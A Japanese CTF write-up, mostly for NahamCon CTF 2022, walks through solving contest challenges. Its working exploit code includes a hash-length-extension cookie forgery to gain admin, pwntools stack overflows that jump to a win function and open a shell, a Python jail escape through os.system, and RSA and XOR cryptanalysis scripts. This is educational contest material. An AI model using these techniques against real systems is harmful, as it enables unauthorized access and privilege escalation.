  ・dataのsha1ダイジェスト(hex)とcookie_macが一致していたら"="区切りの最後の値を返す。
 ・adminがTrueの場合、adminページを表示

クッキーのauthに以下が設定されていた。

61646d696e3d46616c7365.9451921a06a1d53d48e56d40f206ae2928e57f72

Hash Length Extension Attackで設定すべきクッキーを取得する。

既知文字列:admin=False
既知ハッシュ:Cookieから取得 ※上記の場合、9451921a06a1d53d48e56d40f206ae2928e57f72
追加文字列:=True

secretの全パターンの長さの場合のクッキーの値を列挙する。

#!/usr/bin/env python3
import hashpumpy

cookie_val = '61646d696e3d46616c7365.9451921a06a1d53d48e56d40f206ae2928e57f72'

known_str = bytes.fromhex(cookie_val.split('.')[0]).decode()
known_hash = cookie_val.split('.')[1]
add_data = '=True'

for secret_len in range(15, 36):
    h, d = hashpumpy.hashpump(known_hash, known_str, add_data, secret_len)
    auth_val = d.hex() + '.' + h
    print(auth_val)

列挙した結果は以下の通り。

61646d696e3d46616c736580000000000000000000000000000000000000000000000000000000000000000000000000d03d54727565.8f725aa1575d90691cbe2e84f8671cd054dd480a
61646d696e3d46616c7365800000000000000000000000000000000000000000000000000000000000000000000000d83d54727565.8f725aa1575d90691cbe2e84f8671cd054dd480a
61646d696e3d46616c73658000000000000000000000000000000000000000000000000000000000000000000000e03d54727565.8f725aa1575d90691cbe2e84f8671cd054dd480a
61646d696e3d46616c736580000000000000000000000000000000000000000000000000000000000000000000e83d54727565.8f725aa1575d90691cbe2e84f8671cd054dd480a
61646d696e3d46616c7365800000000000000000000000000000000000000000000000000000000000000000f03d54727565.8f725aa1575d90691cbe2e84f8671cd054dd480a
61646d696e3d46616c73658000000000000000000000000000000000000000000000000000000000000000f83d54727565.8f725aa1575d90691cbe2e84f8671cd054dd480a
61646d696e3d46616c736580000000000000000000000000000000000000000000000000000000000001003d54727565.8f725aa1575d90691cbe2e84f8671cd054dd480a
61646d696e3d46616c7365800000000000000000000000000000000000000000000000000000000001083d54727565.8f725aa1575d90691cbe2e84f8671cd054dd480a
61646d696e3d46616c73658000000000000000000000000000000000000000000000000000000001103d54727565.8f725aa1575d90691cbe2e84f8671cd054dd480a
61646d696e3d46616c736580000000000000000000000000000000000000000000000000000001183d54727565.8f725aa1575d90691cbe2e84f8671cd054dd480a
61646d696e3d46616c7365800000000000000000000000000000000000000000000000000001203d54727565.8f725aa1575d90691cbe2e84f8671cd054dd480a
61646d696e3d46616c73658000000000000000000000000000000000000000000000000001283d54727565.8f725aa1575d90691cbe2e84f8671cd054dd480a
61646d696e3d46616c736580000000000000000000000000000000000000000000000001303d54727565.8f725aa1575d90691cbe2e84f8671cd054dd480a
61646d696e3d46616c7365800000000000000000000000000000000000000000000001383d54727565.8f725aa1575d90691cbe2e84f8671cd054dd480a
61646d696e3d46616c73658000000000000000000000000000000000000000000001403d54727565.8f725aa1575d90691cbe2e84f8671cd054dd480a
61646d696e3d46616c736580000000000000000000000000000000000000000001483d54727565.8f725aa1575d90691cbe2e84f8671cd054dd480a
61646d696e3d46616c7365800000000000000000000000000000000000000001503d54727565.8f725aa1575d90691cbe2e84f8671cd054dd480a
61646d696e3d46616c73658000000000000000000000000000000000000001583d54727565.8f725aa1575d90691cbe2e84f8671cd054dd480a
61646d696e3d46616c736580000000000000000000000000000000000001603d54727565.8f725aa1575d90691cbe2e84f8671cd054dd480a
61646d696e3d46616c7365800000000000000000000000000000000001683d54727565.8f725aa1575d90691cbe2e84f8671cd054dd480a
61646d696e3d46616c73658000000000000000000000000000000001703d54727565.8f725aa1575d90691cbe2e84f8671cd054dd480a

順にクッキーに設定して、リロードする。
以下をクッキーのauthに設定したときにフラグが表示された。

61646d696e3d46616c7365800000000000000000000000000000000000000000000000000001203d54727565.8f725aa1575d90691cbe2e84f8671cd054dd480a

PCTF{c4p4c10us_3xtr3m1s}

NahamCon CTF 2022 Writeup

この大会は2022/4/29 4:00(JST)~2022/5/1 4:00(JST)に開催されました。
今回もチームで参戦。結果は6743点で3272チーム中63位でした。
自分で解けた問題をWriteupとして書いておきます。

Crash Override (Warmups)

$ file crash_override 
crash_override: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=fecdd0eead2661c3811de1965ea881c620c7fe8b, for GNU/Linux 3.2.0, not stripped

BOFでwin関数をコールする。

#!/usr/bin/env python3
from pwn import *

if len(sys.argv) == 1:
    p = remote('challenge.nahamcon.com', 31331)
else:
    p = process('./crash_override')

elf = ELF('./crash_override')

win_addr = elf.symbols['win']

payload = b'A' * 2056
payload += p64(win_addr)

data = p.recvline().rstrip().decode()
print(data)
print(payload)
p.sendline(payload)
data = p.recvline().rstrip().decode()
print(data)

実行結果は以下の通り。

[+] Opening connection to challenge.nahamcon.com on port 31331: Done
[*] '/mnt/hgfs/Shared/crash_override'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    No canary found
    NX:       NX disabled
    PIE:      PIE enabled
    RWX:      Has RWX segments
HACK THE PLANET!!!!!!
b'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x89\x12\x00\x00\x00\x00\x00\x00'
flag{de8b6655b538a0bf567b79a14f2669f6}
[*] Closed connection to challenge.nahamcon.com port 31331
flag{de8b6655b538a0bf567b79a14f2669f6}

Prisoner (Warmups)

$ ssh -p 31283 user@challenge.nahamcon.com
The authenticity of host '[challenge.nahamcon.com]:31283 ([34.123.79.100]:31283)' can't be established.
ECDSA key fingerprint is SHA256:Ui3hn8+316fHz2GZEHtmFc8CzoksXt+b1KjTA9z7fmI.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '[challenge.nahamcon.com]:31283,[34.123.79.100]:31283' (ECDSA) to the list of known hosts.
user@challenge.nahamcon.com's password: 

  _________________________
     ||   ||     ||   ||
     ||   ||, , ,||   ||
     ||  (||/|/(\||/  ||
     ||  ||| _'_`|||  ||
     ||   || o o ||   ||
     ||  (||  - `||)  ||
     ||   ||  =  ||   ||
     ||   ||\___/||   ||
     ||___||) , (||___||
    /||---||-\_/-||---||\
   / ||--_||_____||_--|| \
  (_(||)-| SP1337 |-(||)_)
          --------

Hello prisoner, welcome to jail.
Don't get any ideas, there is no easy way out!
: ls

何も表示されない。適当に文字を入れても同じ。Ctrl + Dを押してみる。

: Traceback (most recent call last):
  File "/home/user/jail.py", line 27, in <module>
    input(": ")
EOFError
>>> 

pyjailの問題かも。

>>> __builtins__.__dict__['__import__']('os').__dict__['system']('ls')
flag.txt  jail.py
0
>>> __builtins__.__dict__['__import__']('os').__dict__['system']('cat flag.txt')
flag{c31e05a24493a202fad0d1a827103642}
0
flag{c31e05a24493a202fad0d1a827103642}

Wizard (Warmups)

$ nc challenge.nahamcon.com 32408

/------------------------------------------\
| Why hello passerby. I see you wish to    |
| pass, however you must answer my six     |
| questions correctly in order to do so.   |
\---------------  -------------------------/
                \/
              _,._      
  .||,       /_ _\\     
 \.`',/      |'L'| |    
 = ,. =      | -,| L    
 / || \    ,-'\"/,'`.   
   ||     ,'   `,,. `.  
   ,|____,' , ,;' \| |  
  (3|\    _/|/'   _| |  
   ||/,-''  | >-'' _,\\ 
   ||'      ==\ ,-'  ,' 
   ||       |  V \ ,|   
   ||       |    |` |   
   ||       |    |   \  
   ||       |    \    \ 
   ||       |     |    \
   ||       |      \_,-'
   ||       |___,,--")_\
   ||         |_|   ccc/
   ||        ccc/       
   ||                   

First Question: What is the ASCII plaintext corresponding to this binary string? 
010110100110010101110010011011110111001100100000001001100010000001001111011011100110010101110011

pt = 

デコードする問題が出題されるようだ。問題は以下の順で出題された。

1st: 2進数
2nd: 16進数
3rd: 8進数→数値の文字列化
4th: 数値の文字列化
5th: base64
6th: 16進数(リトルエンディアン)
#!/usr/bin/env python3
import socket
from Crypto.Util.number import *
from base64 import *

def recvuntil(s, tail):
    data = b''
    while True:
        if tail in data:
            return data.decode()
        data += s.recv(1)

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('challenge.nahamcon.com', 32408))

data = recvuntil(s, b'pt = ')
print(data, end='')

enc = data.split('\n')[-3]
pt = ''.join([chr(int(enc[i:i+8], 2)) for i in range(0, len(enc), 8)])
print(pt)
s.sendall(pt.encode() + b'\n')

data = recvuntil(s, b'pt = ')
print(data, end='')

enc = data.split('\n')[-3]
pt = bytes.fromhex(enc).decode()
print(pt)
s.sendall(pt.encode() + b'\n')

data = recvuntil(s, b'pt = ')
print(data, end='')

enc = data.split('\n')[-3]
pt = long_to_bytes(int(enc, 8)).decode()
print(pt)
s.sendall(pt.encode() + b'\n')

data = recvuntil(s, b'pt = ')
print(data, end='')

enc = data.split('\n')[-3]
pt = long_to_bytes(int(enc)).decode()
print(pt)
s.sendall(pt.encode() + b'\n')

data = recvuntil(s, b'pt = ')
print(data, end='')

enc = data.split('\n')[-3]
pt = b64decode(enc).decode()
print(pt)
s.sendall(pt.encode() + b'\n')

data = recvuntil(s, b'= ')
print(data, end='')

enc = data.split('\n')[-3]
pt = bytes.fromhex(enc)[::-1].decode()
print(pt)
s.sendall(pt.encode() + b'\n')

data = recvuntil(s, b'\n').rstrip()
print(data)
data = recvuntil(s, b'\n').rstrip()
print(data)

実行結果は以下の通り。

/------------------------------------------\
| Why hello passerby. I see you wish to    |
| pass, however you must answer my six     |
| questions correctly in order to do so.   |
\---------------  -------------------------/
                \/
              _,._
  .||,       /_ _\\
 \.`',/      |'L'| |
 = ,. =      | -,| L
 / || \    ,-'\"/,'`.
   ||     ,'   `,,. `.
   ,|____,' , ,;' \| |
  (3|\    _/|/'   _| |
   ||/,-''  | >-'' _,\\
   ||'      ==\ ,-'  ,'
   ||       |  V \ ,|
   ||       |    |` |
   ||       |    |   \
   ||       |    \    \
   ||       |     |    \
   ||       |      \_,-'
   ||       |___,,--")_\
   ||         |_|   ccc/
   ||        ccc/
   ||

First Question: What is the ASCII plaintext corresponding to this binary string?
010110100110010101110010011011110111001100100000001001100010000001001111011011100110010101110011

pt = Zeros & Ones

Second Question: What is the ASCII plaintext corresponding to this hex string?
4f6820776f77777721204261736520313020697320636f6f6c20616e6420616c6c2062757420486578787878

pt = Oh wowww! Base 10 is cool and all but Hexxxx

Third Question: What is the ASCII plaintext corresponding to this octal string?
(HINT: octal -> int -> hex -> chars)
535451006154133420162312701623127154533472040334725553046256234620151334201413347444030460563312201673122016730267164

pt = We can represent numbers in any base we want

Fourth Question: What is the ACII representation of this integer?
(HINT: int -> hex -> chars)
8889185069805239596091046045687553579520816794635237831028832039457

pt = This is one big 'ol integer!

Fifth Question: What is the ASCII plaintext of this Base64 string?
QmFzZXMgb24gYmFzZXMgb24gYmFzZXMgb24gYmFzZXMgOik=

pt = Bases on bases on bases on bases :)

Last Question: What is the Big-Endian representation of this Little-Endian hex string?
293a2065636e657265666669642065687420776f6e6b206f7420646f6f672073277449

plaintext (Big-Endian) = It's good to know the difference :)

Very well, my friend. Here is your reward for your witts: flag{c2ed35aba037cd93381b298caa2720ee}
flag{c2ed35aba037cd93381b298caa2720ee}

Flagcat (Warmups)

$ cat flagcat
 ---------------------------------------- 
| flag{ab3cbaf45def9056dbfad706d597fb53} |
 ----------------------------------------
        ||
 (\__/) ||
 (•ㅅ•) //
 /   づ

flag{ab3cbaf45def9056dbfad706d597fb53}
flag{ab3cbaf45def9056dbfad706d597fb53}

Read The Rules (Warmups)

ルールのページのHTMLソースを見ると、コメントにフラグが書いてあった。

<!-- Thank you for reading the rules! Your flag is: -->
<!--   flag{90bc54705794a62015369fd8e86e557b}       -->
flag{90bc54705794a62015369fd8e86e557b}

Technical Support (Warmups)

Discordに入り、#ctf-helpチャネルのトピックを見ると、フラグが書いてあった。

The GIF, meme, and emoji spam party! Oh yeah -- and CTF technical support, too. 
..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................
Here's a flag, by the way! :) flag{081fef2f11f3eec6059e3da9117ad3f0}
flag{081fef2f11f3eec6059e3da9117ad3f0}

Exit Vim (Warmups)

$ ssh -p 32347 user@challenge.nahamcon.com
The authenticity of host '[challenge.nahamcon.com]:32347 ([34.123.79.100]:32347)' can't be established.
ECDSA key fingerprint is SHA256:VRizncxQmM5qnc35WTXH0Ojj4+mWyAWbnkzsgRbpoEE.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '[challenge.nahamcon.com]:32347,[34.123.79.100]:32347' (ECDSA) to the list of known hosts.
user@challenge.nahamcon.com's password: 

flag{ccf443b43322be5659150eac8bb2a18c}
Connection to challenge.nahamcon.com closed.

パスワードを入力すると、Readonlyでviの画面になる。そこで:qで抜けると、フラグが表示された。

flag{ccf443b43322be5659150eac8bb2a18c}

Quirky (Warmups)

"\x[16進数]"の形式の文字列がたくさん入っており、pngのバイナリをASCIIで表現していることがわかる。バイナリに復元し、pngファイルにする。

#!/usr/bin/env python3
with open('quirky', 'r') as f:
    data = f.read()

png = b''
for i in range(0, len(data), 4):
    png += bytes([int(data[i+2:i+4], 16)])

with open('flag.png', 'wb') as f:
    f.write(png)


png画像はQR画像になっているので、デコードすると、フラグになった。

flag{b7e2a32f5ae629dcfb1ac210d1f0c032}

Jurassic Park (Web)

http://challenge.nahamcon.com:31171/robots.txtにアクセスすると、こう書いてあった。

User-agent: *
Disallow: /ingen/

http://challenge.nahamcon.com:31171/ingen/にアクセスすると、インデックス一覧にflag.txtへのリンクがある。このリンクにアクセスすると、フラグが表示された。

flag{c2145f65df7f5895822eb249e25028fa}

Babiersteps (Binary Exploitation)

$ file babiersteps 
babiersteps: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=5dfaf4bb792d3e47f45df4ad36b56c07822b7a70, for GNU/Linux 3.2.0, not stripped

Ghidraでデコンパイルする。

undefined8 main(void)

{
  undefined local_78 [112];
  
  puts("Everyone has heard of gets, but have you heard of scanf?");
  __isoc99_scanf(&DAT_00402049,local_78);
  return 0;
}

void win(void)

{
  execve("/bin/sh",(char **)0x0,(char **)0x0);
  return;
}

BOFでwin関数をコールする。

#!/usr/bin/env python3
from pwn import *

if len(sys.argv) == 1:
    p = remote('challenge.nahamcon.com', 32607)
else:
    p = process('./babiersteps')

elf = ELF('./babiersteps')

win_addr = elf.symbols['win']

payload = b'A' * 120
payload += p64(win_addr)

data = p.recvline().rstrip().decode()
print(data)
print(payload)
p.sendline(payload)
p.interactive()

実行結果は以下の通り。

[+] Opening connection to challenge.nahamcon.com on port 32607: Done
[*] '/mnt/hgfs/Shared/babiersteps'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
Everyone has heard of gets, but have you heard of scanf?
b'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\xc9\x11@\x00\x00\x00\x00\x00'
[*] Switching to interactive mode
$ ls
babiersteps
bin
dev
etc
flag.txt
lib
lib32
lib64
libx32
usr
$ cat flag.txt
flag{4dc0a785da36bfcf0e597917b9144fd6}
flag{4dc0a785da36bfcf0e597917b9144fd6}

XORROX (Cryptography)

暗号処理の概要は以下の通り。

・key: flagの長さの1~256のランダム整数配列
・xorrox: [1, xorrox[0] ^ key[1], xorrox[1] ^ key[2], ...] →出力
・enc: [flag[0] ^ key[0], flag[1] ^ key[1], ...] →出力

xorroxからkeyを求め、flagを割り出す。

#!/usr/bin/env python3
xorrox = [1, 209, 108, 239, 4, 55, 34, 174, 79, 117, 8, 222, 123, 99, 184, 202, 95, 255, 175, 138, 150, 28, 183, 6, 168, 43, 205, 105, 92, 250, 28, 80, 31, 201, 46, 20, 50, 56]
enc = [26, 188, 220, 228, 144, 1, 36, 185, 214, 11, 25, 178, 145, 47, 237, 70, 244, 149, 98, 20, 46, 187, 207, 136, 154, 231, 131, 193, 84, 148, 212, 126, 126, 226, 211, 10, 20, 119]

key = [ord('f') ^ enc[0]]
for i in range(len(xorrox) - 1):
    key.append(xorrox[i] ^ xorrox[i + 1])

flag = ''
for i in range(len(enc)):
    flag += chr(enc[i] ^ key[i])
print(flag)
flag{21571dd4764a52121d94deea22214402}

Unimod (Cryptography)

0以上0xFFFD未満の範囲でシフトした、UNICODEを使った暗号になっている。フラグは"f"から始まることを前提にシフト数を算出し、復号する。

#!/usr/bin/env python3
with open('out', encoding='utf-8') as f:
    enc = f.read()

k = ord(enc[0]) - ord('f')

flag = ''
for c in enc:
    flag += chr(ord(c) - k)
print(flag)
flag{4e68d16a61bc2ea72d5f971344e84f11}

Baby RSA Quiz (Cryptography)

$ nc challenge.nahamcon.com 30380

Welcome to the Baby RSA Quiz! 

Choose Option 0 if you're asking yourself "what in the world is RSA?" or maybe want to run through the basics.
Choose Option 1 if you're comfortable with RSA, feel free to skip to the quiz
Choose Option 2 if Rivest, Shamir, or Adleman hurt your feelings, feel free to exit the program 


/------------------------\
| Baby RSA MENU:         |
| (0) Teach me some RSA! | 
| (1) Skip to quiz       |
| (2) Quit               |
\------------------------/

Choice: 1

___________________________________________________________________________________

I see you are ready to take my quiz! This quiz is comprised of three parts with 
each part giving you a poor implementation of RSA. If you are unfamiliar with any 
of these values given, it might be worthwhile to check out option 0 in the main 
menu.

 ---------
| Part 1: |
 ---------
n = 183179313325829
e = 65537
ct = 106411454876432

What is the plaintext (in integer form)?

RSA暗号に関する問題が何問か出題されるようだ。1問ずつ問題のタイプを見て、解いていく。
結果以下のようにして解くことができた。

Part1: それほど大きくないnを素因数分解して復号する。
Part2: nがctに比べて極度に大きく、eが小さいため、Low Public-Exponent Attackで復号する。
Part3: p, qの値が近いと推測できるため、Fermat法でnを素因数分解し復号する。
#!/usr/bin/env python3
import socket
import sympy
import gmpy2
from Crypto.Util.number import *

def recvuntil(s, tail):
    data = b''
    while True:
        if tail in data:
            return data.decode()
        data += s.recv(1)

def isqrt(n):
    x = n
    y = (x + n // x) // 2
    while y < x:
        x = y
        y = (x + n // x) // 2
    return x

def fermat(n):
    x = isqrt(n) + 1
    y = isqrt(x * x - n)
    while True:
        w = x * x - n - y * y
        if w == 0:
            break
        elif w > 0:
            y += 1
        else:
            x += 1
    return x - y, x + y

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('challenge.nahamcon.com', 30380))

data = recvuntil(s, b': ')
print(data + '1')
s.sendall(b'1\n')

#### Part 1 ####
data = recvuntil(s, b'? ')
print(data, end='')
n = int(data.split('\n')[-5].split(' ')[-1])
e = int(data.split('\n')[-4].split(' ')[-1])
ct = int(data.split('\n')[-3].split(' ')[-1])

fac = sympy.factorint(n)
phi = 1
for p in fac.keys():
    phi *= p - 1
d = inverse(e, phi)
m = pow(ct, d, n)
print(m)
s.sendall(str(m).encode() + b'\n')

#### Part 2 ####
data = recvuntil(s, b'? ')
print(data, end='')
n = int(data.split('\n')[-5].split(' ')[-1])
e = int(data.split('\n')[-4].split(' ')[-1])
ct = int(data.split('\n')[-3].split(' ')[-1])

m, ok = gmpy2.iroot(ct, e)
assert ok == True
print(m)
s.sendall(str(m).encode() + b'\n')

#### Part 3 ####
data = recvuntil(s, b'? ')
print(data, end='')
n = int(data.split('\n')[-5].split(' ')[-1])
e = int(data.split('\n')[-4].split(' ')[-1])
ct = int(data.split('\n')[-3].split(' ')[-1])

p, q = fermat(n)
phi = (p - 1) * (q - 1)
d = inverse(e, phi)
m = pow(ct, d, n)
print(m)
s.sendall(str(m).encode() + b'\n')

data = recvuntil(s, b'\n').rstrip()
print(data)
data = recvuntil(s, b'\n').rstrip()
print(data)

実行結果は以下の通り。

Welcome to the Baby RSA Quiz!

Choose Option 0 if you're asking yourself "what in the world is RSA?" or maybe want to run through the basics.
Choose Option 1 if you're comfortable with RSA, feel free to skip to the quiz
Choose Option 2 if Rivest, Shamir, or Adleman hurt your feelings, feel free to exit the program


/------------------------\
| Baby RSA MENU: 1
        |
| (0) Teach me some RSA! |
| (1) Skip to quiz       |
| (2) Quit               |
\------------------------/

Choice:
___________________________________________________________________________________

I see you are ready to take my quiz! This quiz is comprised of three parts with 
each part giving you a poor implementation of RSA. If you are unfamiliar with any
of these values given, it might be worthwhile to check out option 0 in the main 
menu.

 ---------
| Part 1: |
 ---------
n = 159191162466053
e = 65537
ct = 99385601863184

What is the plaintext (in integer form)? 1751476325

___________________________________________________________________________________

Nice job on the first part! Those numbers weren't really as big as we thought.

 ---------
| Part 2: |
 ---------
n = 24984016574165091383659121350372722844491792441558268627623314282188075417213017730388217530387201825717484477718246661857514551807383331824072796597678533394000156642229787094718952087018940674952143644690939527128361667235104513497676419390682320111172511291850694812189329931706938398634572906218360147166662125192644541976968379566064657631961257431583206870631035843799483405172084644858468877677969150232809160423382688368920429057630928695628126301190789044195679767351589466345828651337802157728006421315029106465101298622603130118834498134842499088538282609982410403163248819067499191302752920116031137974037
e = 3
ct = 26480272848384180570411447917437668635135597564435407928130220812155801611065536704781892656033726277516148813916446180796750368332515779970289682282804676030149428215146347671350240386440440048832713595112882403831539777582778645411270433913301224819057222081543727263602678819745693540865806160910293144052079393615890645460901858988883318691997438568705602949652125

What is the plaintext (in integer form)? 298062599825784604055397390266655425259311588881437826967301557850952291872230439875703282133697119479127924133583415243365

___________________________________________________________________________________

The small-e attack is a classic! Although making e = 3 may make calculations
quicker, it is definitely not secure.

 ---------
| Part 3: |
 ---------
q = p + 2
while !(isPrime(q)):
    q += 2
n = p*q


n = 125253052309723515584399398245796956152920632334318032203282566821486493046077868726134318624025089938513384034656193110767299719634775553784162644522384365838080248965701000989606989222007684908831838126823273831721995120121403482982460915710770748895536436284303294739603553819376912637466336366803139597509
e = 65537
ct = 45120659514410298868640908059287900497543551528148114446292389917871380747934695142564288284428054559394115532707340863106560612572251025725020670321936839902721578278074954438908394211946812264915530464170847385355154995286098080957850099022266261656195443326388240407695542251698589095606905347893036630625

What is the plaintext (in integer form)? 4389692525618482461496676054452486268288388260878585075412513298672841265430477651614481831919140832735218408683300129

Congratulations - you have passed my quiz. Here is your flag: flag{5bf62a062e66a7fb37304e1b11643c08}
flag{5bf62a062e66a7fb37304e1b11643c08}

MAC and Cheese (Cryptography)

$ nc challenge.nahamcon.com 30134
Welcome to the cheese community. How may we cheese you today?


CHEESY MENU:
(0) Tell me about the effect of dimensional transcendence on mozzarella cheese. (strap in for this one)
(1) Give me a MAC for my cheese (we will send a CBC-MAC of your message)
(2) Verify my cheese (will return confirmation that CBC-MAC(message) == tag) 
(3) Quit (I don't liek cheese)

Which would you like to do? 1
 ----------------
| CBC-MAC Oracle |
 ----------------

Send me a message that is exactly 7 blocks (16*7 bytes) in size and I will tell you the tag (CBC-MAC) for it.
Messages should be sent in byte format and the tag will be sent back in hex format.
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
CBC-MAC(msg): c422a43e1619370a8f4e4c2a3d24c683



CHEESY MENU:
(0) Tell me about the effect of dimensional transcendence on mozzarella cheese. (strap in for this one)
(1) Give me a MAC for my cheese (we will send a CBC-MAC of your message)
(2) Verify my cheese (will return confirmation that CBC-MAC(message) == tag) 
(3) Quit (I don't liek cheese)

Which would you like to do? 2
 ----------------------
| Verification Oracle |
 ----------------------

Send me a message and it's tag to verify that you belong to the cheese community
The format message and tag format should be [message][tag] without the brackets of course.
The message should be at least one block (16 bytes) and the tag should be 16 bytes.
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAc422a43e1619370a8f4e4c2a3d24c683
incorrect tag for message provided.
Message = b'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAc422a43e1619370a'
Tag = b'8f4e4c2a3d24c683'
Length = 144

CHEESY MENU:
(0) Tell me about the effect of dimensional transcendence on mozzarella cheese. (strap in for this one)
(1) Give me a MAC for my cheese (we will send a CBC-MAC of your message)
(2) Verify my cheese (will return confirmation that CBC-MAC(message) == tag) 
(3) Quit (I don't liek cheese)

Which would you like to do?

7ブロック分のCBC-MACが取得できることを利用して、8ブロック分のCBC-MACをメッセージと合わせ、認証する必要がある。

平文1ブロック目 ^ IV(0)           --(AES暗号)--> 暗号1ブロック目
平文2ブロック目 ^ 暗号1ブロック目 --(AES暗号)--> 暗号2ブロック目
平文3ブロック目 ^ 暗号2ブロック目 --(AES暗号)--> 暗号3ブロック目
平文4ブロック目 ^ 暗号3ブロック目 --(AES暗号)--> 暗号4ブロック目
平文5ブロック目 ^ 暗号4ブロック目 --(AES暗号)--> 暗号5ブロック目
平文6ブロック目 ^ 暗号5ブロック目 --(AES暗号)--> 暗号6ブロック目
平文7ブロック目 ^ 暗号6ブロック目 --(AES暗号)--> 暗号7ブロック目(->tag)

平文1ブロック目 ^ IV(0)           --(AES暗号)--> 暗号1ブロック目
平文2ブロック目 ^ 暗号1ブロック目 --(AES暗号)--> 暗号2ブロック目
平文3ブロック目 ^ 暗号2ブロック目 --(AES暗号)--> 暗号3ブロック目
平文4ブロック目 ^ 暗号3ブロック目 --(AES暗号)--> 暗号4ブロック目
平文5ブロック目 ^ 暗号4ブロック目 --(AES暗号)--> 暗号5ブロック目
